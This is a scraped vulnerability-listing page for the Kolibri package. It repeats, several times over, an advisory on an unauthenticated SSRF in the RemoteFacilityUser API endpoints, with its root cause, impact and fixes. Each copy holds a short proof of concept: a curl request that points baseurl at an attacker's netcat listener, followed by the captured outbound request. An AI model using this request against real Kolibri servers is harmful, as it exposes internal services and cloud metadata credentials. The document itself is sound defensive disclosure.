            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 19, 2024

0.17.4 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 05, 2024

0.17.3 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 30, 2024

0.17.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 25, 2024

0.17.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

